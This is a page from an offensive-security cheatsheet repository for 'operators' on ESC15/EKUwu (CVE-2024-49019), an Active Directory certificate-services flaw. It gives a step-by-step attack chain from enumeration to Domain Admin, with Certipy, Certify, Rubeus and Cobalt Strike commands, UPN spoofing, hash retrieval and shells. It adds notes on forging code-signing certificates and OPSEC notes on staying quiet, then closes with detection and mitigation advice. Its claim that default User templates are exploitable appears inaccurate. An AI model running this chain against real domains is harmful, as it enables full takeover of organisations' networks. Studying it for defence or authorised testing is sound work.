daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

esc15-ekuwu-cve-2024-49019.md (11684B)


      1 ---
      2 title: "ESC15 — EKUwu (CVE-2024-49019)"
      3 description: "ESC15, nicknamed EKUwu, was discovered by Justin Bollinger at TrustedSec in late September 2024 and assigned CVE-2024-49019 by Microsoft on November 12…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs"]
      7 tools: ["NetExec", "Rubeus", "Certipy", "Evil-WinRM", "OpenSSL"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC15 — EKUwu (CVE-2024-49019).md"
     11 ---
     12 # ESC15 — EKUwu (CVE-2024-49019)
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | Software Vulnerability (not misconfiguration) |
     19 | **Difficulty** | Low–Medium |
     20 | **Pre-requisites** | Enrollment in schema v1 template + unpatched CA |
     21 | **CVE** | CVE-2024-49019 |
     22 | **Patched** | November 2024 — KB5044281 |
     23 | **Tools** | Certipy, Certify (TrustedSec fork), Cobalt Strike BOFs |
     24 | **OPSEC Noise** | Low — looks like normal enrollment |
     25 | **One-liner** | Inject arbitrary Application Policy OIDs (like Client Authentication) into a CSR against schema version 1 templates — the CA honours them even if the template never specified those policies. |
     26 
     27 ***
     28 
     29 ## What Is ESC15?
     30 
     31 ESC15, nicknamed **EKUwu**, was discovered by **Justin Bollinger at TrustedSec** in late September 2024 and assigned **CVE-2024-49019** by Microsoft on November 12, 2024. It is fundamentally different from every other ESC attack — **it is not a misconfiguration**. It is a **software vulnerability in Microsoft's implementation of Application Policies in schema version 1 certificate templates**.
     32 
     33 Every other ESC attack requires an admin to have configured something incorrectly. ESC15 exploits a bug in how the CA processes **Certificate Signing Requests (CSRs) against schema version 1 templates** — templates that Microsoft itself ships as defaults. The bug allows an attacker to **inject arbitrary Application Policy OIDs into their CSR** that the CA will honour and embed in the issued certificate, even if the template itself never specified those policies.
     34 
     35 In practical terms: you enroll in a harmless default template, inject `Client Authentication` OID into your CSR, and the CA issues a certificate that can authenticate you as any domain user — including Domain Admin.
     36 
     37 ***
     38 
     39 ## Why Schema Version 1 Is Special
     40 
     41 The entire vulnerability hinges on a behavioural difference between schema versions:
     42 
     43 | Schema Version | Application Policy Behaviour |
     44 |---|---|
     45 | **Version 1** | CA accepts Application Policies **supplied in the CSR** — attacker controlled |
     46 | **Version 2+** | CA ignores CSR-supplied Application Policies — uses only what's defined in the template |
     47 
     48 Version 1 templates are legacy — predating the modern PKI hardening model. They exist because early Active Directory needed them and Microsoft has never forcibly migrated environments away from them. The attack specifically targets the `szOID_APPLICATION_CERT_POLICIES` (`1.3.6.1.4.1.311.21.10`) attribute handling in v1 template processing.
     49 
     50 ***
     51 
     52 ## Default Vulnerable Templates
     53 
     54 Because ESC15 targets schema version 1 templates, it can affect **default Microsoft-provided templates** — no admin misconfiguration required:
     55 
     56 | Template | Default Enrollment Rights | Schema Version | Risk |
     57 |----------|--------------------------|---------------|------|
     58 | `User` | Domain Users | 1 | ⚠️ **High — every domain user** |
     59 | `Machine` | Domain Computers | 1 | ⚠️ **High — every machine** |
     60 | `DomainController` | Domain Controllers | 1 | DCs only |
     61 | `WebServer` | Administrators | 1 | Often over-permissioned |
     62 | `SubCA` | Administrators | 1 | Admin-only normally |
     63 | `CA` | Administrators | 1 | Admin-only |
     64 
     65 > 💡 The `User` and `Machine` templates being schema version 1 AND enrollable by all domain users/computers is what makes ESC15 so impactful — no template customisation needed at all.
     66 
     67 ***
     68 
     69 ## Required Conditions
     70 
     71 | Condition | Notes |
     72 |-----------|-------|
     73 | Template uses **Schema Version 1** | `Schema Version: 1` in certipy output |
     74 | Template has **`Enrollee Supplies Subject`** enabled | `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` |
     75 | Low-priv users can enroll | Standard enrollment rights check |
     76 | **Unpatched** (pre-November 2024 KB5044281) | Check patch status |
     77 
     78 ***
     79 
     80 ## Step 0 — Enumeration
     81 
     82 ```bash
     83 # Standard scan
     84 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
     85   -dc-ip $TARGET -vulnerable -stdout
     86 
     87 # Certipy flags ESC15 when it detects Schema Version 1 + Enrollee Supplies Subject
     88 
     89 # Manually check patch status
     90 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
     91   -x 'wmic qfe list brief | findstr KB5044281'
     92 # If no output = unpatched = ESC15 works
     93 ```
     94 
     95 ### What Vulnerable ESC15 Output Looks Like
     96 
     97 ```
     98 Certificate Templates
     99   Template Name                       : User
    100   Schema Version                      : 1           ← KEY: Schema V1
    101   Enabled                             : True
    102   Client Authentication               : False       ← Not required — you'll inject it
    103   Enrollee Supplies Subject           : True
    104   Requires Manager Approval           : False
    105   Authorized Signatures Required      : 0
    106   Permissions
    107     Enrollment Rights : DOMAIN\Domain Users
    108 
    109 [!] Vulnerabilities
    110   ESC15 : Template schema version is 1 and the template allows the
    111           enrollee to supply the subject and an application policy
    112 ```
    113 
    114 ***
    115 
    116 ## Full Attack Chain — Linux (Certipy)
    117 
    118 Certipy's ESC15 support was added after TrustedSec's disclosure. The key flag is `-application-policies` which injects the arbitrary OID into the CSR.
    119 
    120 ### Step 1 — Request Cert with Injected Application Policy + Spoofed Subject
    121 
    122 ```bash
    123 # Inject Client Authentication OID + specify Administrator as subject
    124 certipy-ad req \
    125   -u 'lowpriv@domain.htb' \
    126   -p 'Password123!' \
    127   -dc-ip $TARGET \
    128   -ca 'DOMAIN-CA-NAME' \
    129   -template 'User' \
    130   -upn 'administrator@domain.htb' \
    131   -application-policies 'Client Authentication'
    132 
    133 # Output: administrator.pfx
    134 ```
    135 
    136 **What Certipy does under the hood:**
    137 - Builds a CSR for the `User` template (schema v1)
    138 - Injects `Client Authentication` OID (`1.3.6.1.5.5.7.3.2`) into `szOID_APPLICATION_CERT_POLICIES` extension of the CSR
    139 - Sets `SubjectAltName: UPN = administrator@domain.htb`
    140 - CA honours both — issues cert with Client Auth capability AND Administrator UPN
    141 
    142 **Expected output:**
    143 ```
    144 [*] Requesting certificate via RPC
    145 [*] Successfully requested certificate
    146 [*] Request ID is 14
    147 [*] Got certificate with UPN 'administrator@domain.htb'
    148 [*] Certificate object SID is 'S-1-5-21-...-500'
    149 [*] Saving certificate and private key to 'administrator.pfx'
    150 ```
    151 
    152 ### Step 2 — Authenticate
    153 
    154 ```bash
    155 certipy-ad auth \
    156   -pfx administrator.pfx \
    157   -username administrator \
    158   -domain domain.htb \
    159   -dc-ip $TARGET
    160 
    161 # Output: administrator.ccache + NT hash
    162 ```
    163 
    164 ### Step 3 — Shell
    165 
    166 ```bash
    167 export KRB5CCNAME=administrator.ccache
    168 wmiexec.py -k -no-pass DC01.domain.htb
    169 evil-winrm -i $TARGET -u administrator -H <NTHASH>
    170 ```
    171 
    172 ***
    173 
    174 ## Extended Use Cases — Beyond Client Auth
    175 
    176 TrustedSec's research showed ESC15 is more dangerous than ESC2 in some respects because you can inject **any** Application Policy OID:
    177 
    178 ```bash
    179 # Code signing certificate — forge software signatures
    180 certipy-ad req ... -application-policies 'Code Signing'
    181 
    182 # Smart Card Logon — bypass smart card enforcement
    183 certipy-ad req ... -application-policies 'Smart Card Logon'
    184 
    185 # Enrollment Agent — bridges into ESC3 territory
    186 certipy-ad req ... -application-policies 'Certificate Request Agent'
    187 
    188 # Any Purpose — like ESC2
    189 certipy-ad req ... -application-policies 'Any Purpose'
    190 ```
    191 
    192 Each of these opens a completely different post-exploitation path from the same single vulnerability.
    193 
    194 ***
    195 
    196 ## Windows Attack Chain (TrustedSec Tools)
    197 
    198 ```powershell
    199 # ESC15 from Windows requires crafting a custom CSR with injected Application Policy
    200 
    201 # Option A: TrustedSec BOFs (Cobalt Strike)
    202 adcs_request /template:User /upn:administrator /appolicies:"1.3.6.1.5.5.7.3.2"
    203 
    204 # Option B: Updated Certify fork from TrustedSec
    205 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User `
    206   /altname:administrator /applicationpolicies:"Client Authentication"
    207 
    208 # Convert and authenticate
    209 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    210 .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
    211 ```
    212 
    213 ***
    214 
    215 ## ESC15 vs ESC1 and ESC2
    216 
    217 | | ESC1 | ESC2 | **ESC15** |
    218 |---|---|---|---|
    219 | **Root cause** | Template misconfiguration | Template misconfiguration | **Software bug in schema v1** |
    220 | **Admin misconfiguration required?** | ✅ | ✅ | ❌ **No — default templates vulnerable** |
    221 | **Injects EKU via** | Template has it pre-set | Template has Any Purpose | **CSR at request time** |
    222 | **CVE assigned** | No | No | **CVE-2024-49019** |
    223 | **Patched** | No patch (misconfiguration fix) | No patch | ✅ **November 2024 KB5044281** |
    224 | **Can inject arbitrary EKUs?** | ❌ | ❌ | ✅ |
    225 | **Schema version required** | Any | Any | **Version 1 only** |
    226 | **Discovered by** | SpecterOps | SpecterOps | **TrustedSec (Justin Bollinger)** |
    227 
    228 ***
    229 
    230 ## Post-Patch Verification
    231 
    232 ```powershell
    233 # Check if KB5044281 is installed
    234 Get-HotFix -Id KB5044281
    235 
    236 # If installed, ESC15 is patched — schema v1 templates will no longer
    237 # accept CSR-supplied Application Policies
    238 
    239 # Permanent fix — upgrade templates to schema v2+
    240 # In CA MMC: Template Properties → Compatibility tab
    241 # Change "Certification Authority" from "Windows 2000" to "Windows Server 2003" or later
    242 # This upgrades the template to schema version 2+
    243 ```
    244 
    245 ### Audit Schema V1 Templates
    246 
    247 ```powershell
    248 # Find all schema V1 templates in your environment
    249 Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" `
    250   -Filter {msPKI-Template-Schema-Version -eq 1} -Properties * |
    251   Select-Object Name, 'msPKI-Template-Schema-Version'
    252 ```
    253 
    254 ***
    255 
    256 ## OPSEC Considerations
    257 
    258 | Action | Log Generated | Noise Level |
    259 |--------|--------------|-------------|
    260 | Certificate request | Event ID 4886/4887 | 🟢 Low (looks like normal enrollment) |
    261 | Patch status check | WMI query | 🟢 Low |
    262 | Auth with injected EKU | Event ID 4768 | 🟢 Low |
    263 
    264 > 💡 ESC15 is **very quiet** — the enrollment looks completely legitimate. The only anomaly is that the issued certificate has an Application Policy (Client Auth) that isn't defined on the template configuration. Detecting this requires comparing issued cert policies against template-defined policies.
    265 
    266 ***
    267 
    268 ## Detection Indicators
    269 
    270 - **Event ID 4887** — Certificate issued with `Client Authentication` EKU from a template (`User`, `Machine`) that doesn't have that EKU defined in its configuration
    271 - **CSR inspection** — Monitor for CSRs containing `szOID_APPLICATION_CERT_POLICIES` extensions not matching the requested template's defined policies
    272 - **Microsoft Defender for Identity** — Has built-in ESC15 detection post-patch
    273 - **Template-to-cert comparison** — Alert when issued cert EKUs ≠ template-defined EKUs
    274 
    275 ***
    276 
    277 ## Mitigation
    278 
    279 - **Apply KB5044281** (November 2024 patch) — direct fix for the vulnerability
    280 - **Migrate schema v1 templates to v2+** — removes the vulnerable code path entirely (see Post-Patch Verification section)
    281 - **Restrict enrollment rights** on `User` and `Machine` templates — removing `Domain Users` from enrollment rights is the single fastest interim mitigation
    282 - **Audit schema version 1 templates** using the PowerShell command above
    283 - **Monitor for Application Policy injection** — compare issued certificates against template-defined policies